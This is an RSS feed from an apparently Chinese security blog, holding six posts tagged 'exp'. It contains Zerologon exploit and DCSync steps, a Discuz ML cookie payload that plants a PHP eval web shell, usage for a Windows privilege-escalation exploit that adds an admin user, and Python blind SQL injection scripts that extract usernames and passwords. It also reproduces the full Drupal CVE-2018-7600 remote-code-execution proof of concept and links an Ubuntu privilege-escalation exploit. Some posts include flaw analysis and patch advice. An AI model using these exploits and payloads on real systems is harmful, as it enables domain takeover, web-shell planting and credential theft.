<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>exp &#8211; ChaBug安全</title>
	<atom:link href="/tags/exp/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Tue, 15 Sep 2020 01:38:51 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>CVE-2020-1472 POC</title>
		<link>/tools/1865.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Tue, 15 Sep 2020 01:35:11 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[cve]]></category>
		<category><![CDATA[exp]]></category>
		<category><![CDATA[域渗透]]></category>
		<category><![CDATA[工具]]></category>
		<guid isPermaLink="false">/?p=1865</guid>

					<description><![CDATA[https://github.com/dirkjanm/CVE-2020-1472 Requires the latest impacket from GitHub with ad...]]></description>
										<content:encoded><![CDATA[<p>https://github.com/dirkjanm/CVE-2020-1472</p>
<p>Requires the latest impacket from <a class="wp-editor-md-post-content-link" href="https://github.com/SecureAuthCorp/impacket">GitHub</a> with added netlogon structures.</p>
<p>Do note that by default this changes the password of the domain controller account. Yes this allows you to DCSync, but it also breaks communication with other domain controllers, so be careful with this!</p>
<p>More info and original research <a class="wp-editor-md-post-content-link" href="https://www.secura.com/blog/zero-logon">here</a></p>
<h2>Exploit steps</h2>
<ul>
<li>Read the blog/whitepaper above so you know what you&#8217;re doing</li>
<li>Run <code><span class="wpcom_tag_link"><a href="/tags/cve" title="cve" target="_blank">cve</a></span>-2020-1472-<span class="wpcom_tag_link"><a href="/tags/exp" title="exp" target="_blank">exp</a></span>loit.py</code> with IP and netbios name of DC</li>
<li>DCSync with secretsdump, using <code>-just-dc</code> and <code>-no-pass</code> or empty hashes and the <code>DCHOSTNAME$</code> account</li>
</ul>
<h2>Restore steps</h2>
<p>If you make sure that <a class="wp-editor-md-post-content-link" href="https://github.com/SecureAuthCorp/impacket/blob/64ce46580286b5ab15a4737bddf85201ce2adde3/impacket/examples/secretsdump.py#L1530">this line</a> in secretsdump passes (so make it <code>if True:</code> for example) secretsdump will also dump the plaintext (hex encoded) machine account password from the registry. You can do this by running it against the same DC and using a DA account.</p>
<p>Alternatively you can dump this same password by first extracting the registry hives and then running secretsdump offline (it will then always print the plaintext key because it can&#8217;t calculate the Kerberos hashes, this saves you modifying the library).</p>
<p>With this password you can run <code>restorepassword.py</code> with the <code>-hexpass</code> parameter. This will first authenticate with the empty password to the same DC and then set the password back to the original one. Make sure you supply the netbios name and IP again as target, so for example:</p>
<pre><code class="line-numbers">python restorepassword.py testsegment/s2016dc@s2016dc -target-ip 192.168.222.113 -hexpass e6ad4c4f64e71cf8c8020aa44bbd70ee711b8dce2adecd7e0d7fd1d76d70a848c987450c5be97b230bd144f3c3...etc
</code></pre>
<p><img src="/wp-content/uploads/2020/09/8024de24-ca3f-e0f9-2821-a65231c2896e-3.png" alt="image.png" /></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Discuz Ml v3.x 代码执行分析</title>
		<link>/audit/671.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 11 Jul 2019 14:34:52 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[dz]]></category>
		<category><![CDATA[exec]]></category>
		<category><![CDATA[exp]]></category>
		<category><![CDATA[getshell]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[代码执行]]></category>
		<guid isPermaLink="false">/?p=671</guid>

					<description><![CDATA[昨天晚上Discuz Ml爆出了漏洞，今天来分析一波。 exp 修改Cookie中的xxxx_language字段为以下内容即可 %27.+file_put_contents%28...]]></description>
										<content:encoded><![CDATA[<p>昨天晚上Discuz Ml爆出了漏洞，今天来分析一波。</p>
<h2><span class="wpcom_tag_link"><a href="/tags/exp" title="exp" target="_blank">exp</a></span></h2>
<p>修改Cookie中的xxxx_language字段为以下内容即可</p>
<pre><code class="language-php ">%27.+file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp+%2520eval%28%2524_%2547%2545%2554%255b%2522a1%2522%255d%29%253b%253f%253e%27%29%29.%27
</code></pre>
<p>访问网站首页则会在根目录下生成木马文件,shell.php 密码为a1</p>
<p><img src="https://ae01.alicdn.com/kf/UTB8_Dhrw9bIXKJkSaef761asXXaa.png" alt="20190711205534.png" /></p>
<h2>定位漏洞位置</h2>
<p>解码exp</p>
<pre><code class="">'.+file_put_contents('shell.php',urldecode('&lt;?php+ eval($_GET["a1"]);?&gt;')).'
</code></pre>
<p>修改exp为<code>_language=1.1.1;</code>使其报错。</p>
<ul>
<li><img src="https://ae01.alicdn.com/kf/UTB8Hrllw__IXKJkSalU761BzVXat.png" alt="20190711210101.png" /></li>
</ul>
<p>定位到653行</p>
<p><img src="https://ae01.alicdn.com/kf/UTB8TMXHw1vJXKJkSajh7637aFXaX.png" alt="20190711211456.png" /></p>
<p>关键代码644行</p>
<pre><code class="language-php ">$cachefile = './data/template/'.DISCUZ_LANG.'_'.(defined('STYLEID') ? STYLEID.'_' : '_').$templateid.'_'.str_replace('/', '_', $file).'.tpl.php';
</code></pre>
<p><code>cachefile</code>变量是缓存文件，将其写入到<code>/data/template/</code>目录下，并且由<code>DISCUZ_LANG</code>拼接，追踪下<code>DISCUZ_LANG</code>的值<br />
2088-2096行</p>
<pre><code class="language-php ">global $_G;
if($_G['config']['output']['language'] == 'zh_cn') {
return 'SC_UTF8';
} elseif ($_G['config']['output']['language'] == 'zh_tw') {
return 'TC_UTF8';
} else {
//vot !!!! ToDo: Check this for other languages !!!!!!!!!!!!!!!!!!!!!
/*vot*/         return strtoupper(DISCUZ_LANG) . '_UTF8';
}
</code></pre>
<p>可以看到<code>$_G['config']['output']['language']</code>作为<code>DISCUZ_LANG</code>的值</p>
<p>全局搜索<code>['language']</code></p>
<p>source/class/discuz/discuz_application.php 305行，发现是从cookie中拿到language的值</p>
<p><img src="https://ae01.alicdn.com/kf/UTB86WNtw9bIXKJkSaef761asXXaB.png" alt="20190711212635.png" /></p>
<p>那么到这里整个漏洞的流程就很明显了，cookie中<code>language</code>参数可控导致<code>DISCUZ_LANG</code>可控，从而导致<code>cachefile</code>的文件名可被注入代码，最终<code>include_once</code>包含一下导致了造成<span class="wpcom_tag_link"><a href="/tags/%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c" title="代码执行" target="_blank">代码执行</a></span>。</p>
<p>phpinfo验证</p>
<p><code>Ov1T_2132_language='.phpinfo().';</code></p>
<p><img src="https://ae01.alicdn.com/kf/UTB8HphiwYnJXKJkSahG760hzFXaN.png" alt="20190711214222.png" /></p>
<h2>修复建议</h2>
<p>截止到本文发布之前，补丁还没有出来。</p>
<p>建议修改source/function/function_core.php 644行为</p>
<pre><code class="language-php ">/*vot*/ $cachefile = './data/template/'.'sc'.'_'.(defined('STYLEID') ? STYLEID.'_' : '_').$templateid.'_'.str_replace('/', '_', $file).'.tpl.php';
</code></pre>
<p>删除可控变量</p>
<h2>写在文后</h2>
<p>其实从漏洞点的注释上来看就知道这是一个未完成的部分，毕竟还是<code>TODO</code>，开发人员得背锅。不过我怎么没有这种好运气呢，呜呜呜😭</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>CVE-2018-8120 Windows LPE exploit</title>
		<link>/tools/588.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Fri, 19 Oct 2018 08:34:49 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[exp]]></category>
		<guid isPermaLink="false">/?p=588</guid>

					<description><![CDATA[CVE-2018-8120 Windows LPE exploit Supports both x32 and x64. Tested on: Win7 x32, Win7 x64...]]></description>
										<content:encoded><![CDATA[<p>CVE-2018-8120 Windows LPE <span class="wpcom_tag_link"><a href="/tags/exp" title="exp" target="_blank">exp</a></span>loit</p>
<p>Supports both x32 and x64.</p>
<p>Tested on: Win7 x32, Win7 x64, Win2008 x32, Win2008 R2 x32, Win2008 R2 Datacenter x64, Win2008 Enterprise x64.</p>
<p><a href="https://raw.githubusercontent.com/unamer/CVE-2018-8120/master/screenshot.bmp" target="_blank" rel="noopener noreferrer"><img loading="lazy" class="alignnone" src="https://raw.githubusercontent.com/unamer/CVE-2018-8120/master/screenshot.bmp" alt="image" width="1055" height="412" /></a></p>
<h2>Usage</h2>
<pre class="lang:default decode:true">CVE-2018-8120 exploit by @unamer(https://github.com/unamer)
Usage: exp.exe command
Example: exp.exe "net user admin admin /ad"</pre>
<p>&nbsp;</p>
<h2>Download</h2>
<p><a href="https://github.com/unamer/CVE-2018-8120/">https://github.com/unamer/CVE-2018-8120/</a></p>
<h2>Caution</h2>
<ul>
<li>Please exclude shellcode.asm if you wanna compile x32 version.</li>
</ul>
<h2>Reference</h2>
<ul>
<li><a href="https://xiaodaozhi.com/exploit/156.html" rel="nofollow">https://xiaodaozhi.com/exploit/156.html</a></li>
<li><a href="https://github.com/bigric3/cve-2018-8120">https://github.com/bigric3/cve-2018-8120</a></li>
</ul>
<h1>tips:</h1>
<h1><a href="/wp-content/uploads/2018/10/2018101916335423.jpg"><img loading="lazy" class="aligncenter size-full wp-image-589" src="/wp-content/uploads/2018/10/2018101916335423.jpg" alt="" width="1011" height="194" /></a></h1>
<p>metasploit集成了脚本，见下面链接</p>
<p><a href="https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/ms18_8120_win32k_privesc.rb">https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/ms18_8120_win32k_privesc.rb</a></p>
<p>&nbsp;</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>SQL注入到EXP编写</title>
		<link>/web/438.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Tue, 03 Jul 2018 14:47:19 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[编程学习]]></category>
		<category><![CDATA[exp]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[编程]]></category>
		<category><![CDATA[脚本]]></category>
		<guid isPermaLink="false">/?p=406</guid>

					<description><![CDATA[今天整理一下SQL盲注，之前说好了整理分享的，这篇文章一直在草稿箱躺着，今天整理补充好了，感兴趣的朋友收藏啊！ 最近忙着写主题模版，写插件，帮朋友做项目安全测试，还有自己学校的期末...]]></description>
										<content:encoded><![CDATA[<p>今天整理一下SQL盲注，之前说好了整理分享的，这篇文章一直在草稿箱躺着，今天整理补充好了，感兴趣的朋友收藏啊！</p>
<p>最近忙着写主题模版，写插件，帮朋友做项目安全测试，还有自己学校的期末考试，但是越是期末，与紧张，就越是感觉非常刺激~<br />
<img src="https://ww2.sinaimg.cn/large/9150e4e5ly1fsq7wc1wmlj20g40g4aad.jpg" alt="" /></p>
<p>对于SQL注入还不理解的朋友可以参看之前的文章《<a href="https://blog.dyboy.cn/websecurity/34.html" target="_blank" rel="noopener">SQL注入基础</a>》,本文章主要讲SQL盲注。</p>
<h1>0x00 盲注简介：</h1>
<p>顾名思义，像盲人一样注入（什么鬼解释…），通俗来说，当我们发现有SQL注入时，确不能得到SQL查询的数据回显，除了之前的写文件方式，还有就是盲注了，盲注就是通过服务器返回的状态等各种因素来猜测，最终组合得到哦我们想要的数据。</p>
<h1>0x01 盲注必须知识：</h1>
<p>SQL盲注中常用的几个内置函数，了解一下~</p>
<pre class="lang:default decode:true ">length(str)：返回str字符串的长度。
substr(str, pos, len)：将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的，不是数组的0开始
mid(str,pos,len):跟上面的一样，截取字符串
ascii(str)：返回字符串str的最左面字符的ASCII代码值。
asc();同上
ord(str):同上，返回ascii码
if(a,b,c) :a为条件，a为true，返回b，否则返回c，如if(1&gt;2,1,0),返回0</pre>
<p>&nbsp;</p>
<h1>0x02 基于网页特征的Bool盲注：</h1>
<p>这里还是基于Sqli平台吧，这货花样多~</p>
<p>先以最简单的 Less-8 这个单引号Bool盲注的题</p>
<p>分析源码:</p>
<pre class="lang:default decode:true ">&lt;?php
//和原文件有删减，为了更好的阅读效果
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0); //不报错

if(isset($_GET['id']))    //如果有参数id传入
{
$id=$_GET['id'];

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

    if($row)    //如果查到数据就执行如下
    {
      echo '&lt;font size="5" color="#FFFF00"&gt;';    
      echo 'You are in...........';
      echo "&lt;br&gt;";
        echo "&lt;/font&gt;";
      }
    else     //否则执行这个     从两者返回的网页结构不一样，就可以作为我们盲注条件判断的依据
    {

    echo '&lt;font size="5" color="#FFFF00"&gt;';
    echo "&lt;/br&gt;&lt;/font&gt;";
    echo '&lt;font color= "#0000ff" font size= 3&gt;';

    }
}
    else { echo "Please input the ID as parameter with numeric value";}

?&gt;</pre>
<p>&nbsp;</p>
<p>根据服务器返回的不同网页结构来判断当前的SQL注入的关键词是否正确，一个有 <strong>You</strong> 单词，可根据这一特征。</p>
<p>构造这样的语句，返回<strong>if(true)</strong>的网页</p>
<p><a href="https://upload-images.jianshu.io/upload_images/6661013-5a771d4a858ce245.png"><img loading="lazy" class="aligncenter size-medium" src="https://upload-images.jianshu.io/upload_images/6661013-5a771d4a858ce245.png" width="1247" height="354" /></a></p>
<p>不满足，返回<strong>if(false)</strong>的网页</p>
<p><a href="https://upload-images.jianshu.io/upload_images/6661013-8a9a7270e014b22c.png"><img loading="lazy" class="aligncenter size-medium" src="https://upload-images.jianshu.io/upload_images/6661013-8a9a7270e014b22c.png" width="1249" height="347" /></a></p>
<p>下面就写一个简单的<span class="wpcom_tag_link"><a href="/tags/%e8%84%9a%e6%9c%ac" title="脚本" target="_blank">脚本</a></span>来具体解释：</p>
<pre class="lang:default decode:true "># name：SQL bind
# author:DYBOY
# time: 2018-07-01
# description: 用于SQL盲注学习脚本参考

import requests
import re


req = requests.Session()
header = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"}


#盲注测试字符
fuzz = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
fuzz = list(fuzz)

main_url = "http://www.test.com/Less-8/index.php?id=1"
#注入参考语句：id=1%27+and+ascii(substr((select+username+from+users+limit+0,1),1,1))=97+%23
#注入参考语句2： id=1%27+and+ascii(substr((select+username+from+users+limit+0,1),1,1))=ascii("a")+%23
username = "username:"
password = "password:"


#得到usernmae
for i in range(1,6):
    for key in fuzz:
        url = main_url + "%27+and+ascii(substr((select+username+from+users+limit+0,1),"+str(i)+",1))="+str(ord(key))+"+%23"
        html = req.get(url,headers = header,timeout=8)
        guize  = r'You'
        if(re.findall(guize,html.text)):
            username = username + key
            print(username)


#得到password    
for j in range(1,6):
    for key in fuzz:
        url = main_url + "%27+and+ascii(substr((select+password+from+users+limit+0,1),"+str(j)+",1))="+str(ord(key))+"+%23"
        html = req.get(url,headers = header,timeout=8)
        guize  = r'You'
        if(re.findall(guize,html.text)):
            password = password + key
            print(password)</pre>
<p>&nbsp;</p>
<p>运行结果如下：</p>
<p><a href="https://upload-images.jianshu.io/upload_images/6661013-7875223b07fb73ee.png"><img loading="lazy" class="aligncenter size-medium" src="https://upload-images.jianshu.io/upload_images/6661013-7875223b07fb73ee.png" width="1353" height="733" /></a></p>
<p>这个脚本就是基于网页特征来判定的，下面看看时间盲注的脚本怎么写！</p>
<p>0x03 延时注入：<br />
当一个网页返回的数据根本没变化，报错也不管用，时间盲注就可以上线了！</p>
<p>先看一个SQL语句：</p>
<pre class="lang:default decode:true ">if(ascii(substr((select+username+from+users+limit+0,1),1,1))=97,sleep(3),0)</pre>
<p>&nbsp;</p>
<p>这个SQL语句执行的效果就是，如果if语句成立那么就服务器延时 3s 后返回网页给客户端，否则正常时间返回网页。通过这样一个条件，我们就可以进行时间盲注了。</p>
<p>时间盲注脚本如下：</p>
<pre class="lang:default decode:true "># name：SQL time bind injection
# author:DYBOY
# time: 2018-07-01
# description: 用于SQL时间盲注学习脚本参考


import requests
import time

req = requests.Session()
header = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"}

#盲注测试字符
fuzz = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ@_.&lt;&gt;?/;!$#{}-'
fuzz = list(fuzz)

main_url = "http://www.test.com/Less-8/index.php?id=1"
#注入参考语句：id=1%27+and+if(ascii(substr((select+username+from+users+limit+0,1),1,1))=97,sleep(3),0)+%23

username = "username:"
password = "password:"

#得到username
for i in range(1,6):
    for key in fuzz:
        start_time = time.time()
        url = main_url + "%27+and+if(ascii(substr((select+username+from+users+limit+0,1),"+str(i)+",1))="+str(ord(key))+",sleep(3),0)+%23"
        html = req.get(url,headers = header,timeout=8)
        if((time.time() - start_time)&gt;=3):
            username = username + key
            print(username)


#得到password
for i in range(1,6):
    for key in fuzz:
        start_time = time.time()
        url = main_url + "%27+and+if(ascii(substr((select+password+from+users+limit+0,1),"+str(i)+",1))="+str(ord(key))+",sleep(3),0)+%23"
        html = req.get(url,headers = header,timeout=8)
        if((time.time() - start_time)&gt;=3):
            password = password + key
            print(password)</pre>
<p>&nbsp;</p>
<p>运行结果：</p>
<p><a href="https://upload-images.jianshu.io/upload_images/6661013-ea22d19d0d7091c5.png"><img loading="lazy" class="aligncenter size-medium" src="https://upload-images.jianshu.io/upload_images/6661013-ea22d19d0d7091c5.png" width="999" height="754" /></a></p>
<p>没错，时间盲注就是将判断条件改成了时间，时间盲注往往有更广泛的用途~</p>
<p>0x04 总结<br />
没错，就是这么简单！欢迎各位来探讨技术~</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>CVE-2018-7600 Drupal 远程命令执行漏洞EXP</title>
		<link>/web/399.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 14 Apr 2018 15:19:00 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[cve]]></category>
		<category><![CDATA[Drupal]]></category>
		<category><![CDATA[exp]]></category>
		<category><![CDATA[收集]]></category>
		<category><![CDATA[漏洞]]></category>
		<category><![CDATA[远程命令执行]]></category>
		<guid isPermaLink="false">/?p=328</guid>

					<description><![CDATA[CVE-2018-7600 Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8...]]></description>
										<content:encoded><![CDATA[<p>CVE-2018-7600</p>
<blockquote><p><span class="wpcom_tag_link"><a href="/tags/drupal" title="Drupal" target="_blank">Drupal</a></span> before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 allows remote attackers to execute arbitrary code .</p></blockquote>
<h3>影响版本</h3>
<ol>
<li>Drupal 6</li>
<li>Drupal 7</li>
<li>Drupal 8</li>
</ol>
<h3>修复建议</h3>
<p>Drupal 6.x的修复参考以下网站：</p>
<p><a href="https://www.drupal.org/project/d6lts">https://www.drupal.org/project/d6lts</a></p>
<p>Drupal 7.x请升级到Drupal 7.5.8版本，</p>
<p>同时官方给出7.X补丁，若用户无法立即升级版本，请更新补丁，补丁地址为：</p>
<p><a href="https://cgit.drupalcode.org/drupal/rawdiff/?h=7.x&#038;id=2266d2a83db50e2f97682d9a0fb8a18e2722cba5">https://cgit.drupalcode.org/drupal/rawdiff/?h=7.x&#038;id=2266d2a83db50e2f97682d9a0fb8a18e2722cba5</a></p>
<p>Drupal 8.5.x请升级到Drupal 8.5.1版本</p>
<p>同时官方给出8.5.X补丁，若用户无法立即升级版本，请更新补丁，补丁地址为：</p>
<p><a href="https://cgit.drupalcode.org/drupal/rawdiff/?h=8.5.x&#038;id=5ac8738fa69df34a0635f0907d661b509ff9a28f">https://cgit.drupalcode.org/drupal/rawdiff/?h=8.5.x&#038;id=5ac8738fa69df34a0635f0907d661b509ff9a28f</a></p>
<p>Drupal 8.3.x和8.4.x版本官方已不进行维护，但此<span class="wpcom_tag_link"><a href="/tags/%e6%bc%8f%e6%b4%9e" title="漏洞" target="_blank">漏洞</a></span>非常严重，官方此次也给出了对应补丁，补丁同8.5.x版本：补丁地址为：</p>
<p><a href="https://cgit.drupalcode.org/drupal/rawdiff/?h=8.5.x&#038;id=5ac8738fa69df34a0635f0907d661b509ff9a28f">https://cgit.drupalcode.org/drupal/rawdiff/?h=8.5.x&#038;id=5ac8738fa69df34a0635f0907d661b509ff9a28f</a></p>
<p>由于Drupal 8.3.x和8.4.x版本官方已不进行维护，建议用户最好升级到官方维护的Drupal 8.3.9以及Drupal 8.4.6版本</p>
<h3>友情提示</h3>
<p>Drupal 8.0.x、Drupal 8.1.x、Drupal 8.2.x官方已不再维护，请各位用户升级到官方维护的版本</p>
<h3>EXP</h3>
<pre><code>#!/usr/bin/env
import sys
import requests
print ('################################################################')
print ('# Proof-Of-Concept for CVE-2018-7600')
print ('# by Vitalii Rudnykh')
print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')
print ('# https://github.com/a2u/CVE-2018-7600')
print ('################################################################')
print ('Provided only for educational or information purposes\n')
target = input('Enter target url (example: https://domain.ltd/): ')
url = target + 'user/register?element_parents=account/mail/%23value&amp;ajax_form=1&amp;_wrapper_format=drupal_ajax'
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo &quot;;-)&quot; | tee hello.txt'}
r = requests.post(url, data=payload)
if r.status_code != 200:
  sys.exit(&quot;Not exploitable&quot;)
print ('\nCheck: '+target+'hello.txt')</code></pre>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Ubuntu提权exp</title>
		<link>/tools/378.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Fri, 16 Mar 2018 21:51:43 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[exp]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[ubuntu]]></category>
		<category><![CDATA[内核]]></category>
		<category><![CDATA[提权]]></category>
		<category><![CDATA[漏洞]]></category>
		<guid isPermaLink="false">/?p=286</guid>

					<description><![CDATA[V@1n3R大咖复现的 链接: https://pan.baidu.com/s/1EseuV0RRtS7MYIDK03uhYw 密码: hfxv]]></description>
										<content:encoded><![CDATA[<p>V@1n3R大咖复现的</p>
<p><img src="/wp-content/uploads/2018/03/578379254.jpg" alt="1.jpg" title="1.jpg"><br />链接: <a href="https://pan.baidu.com/s/1EseuV0RRtS7MYIDK03uhYw">https://pan.baidu.com/s/1EseuV0RRtS7MYIDK03uhYw</a> 密码: hfxv</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
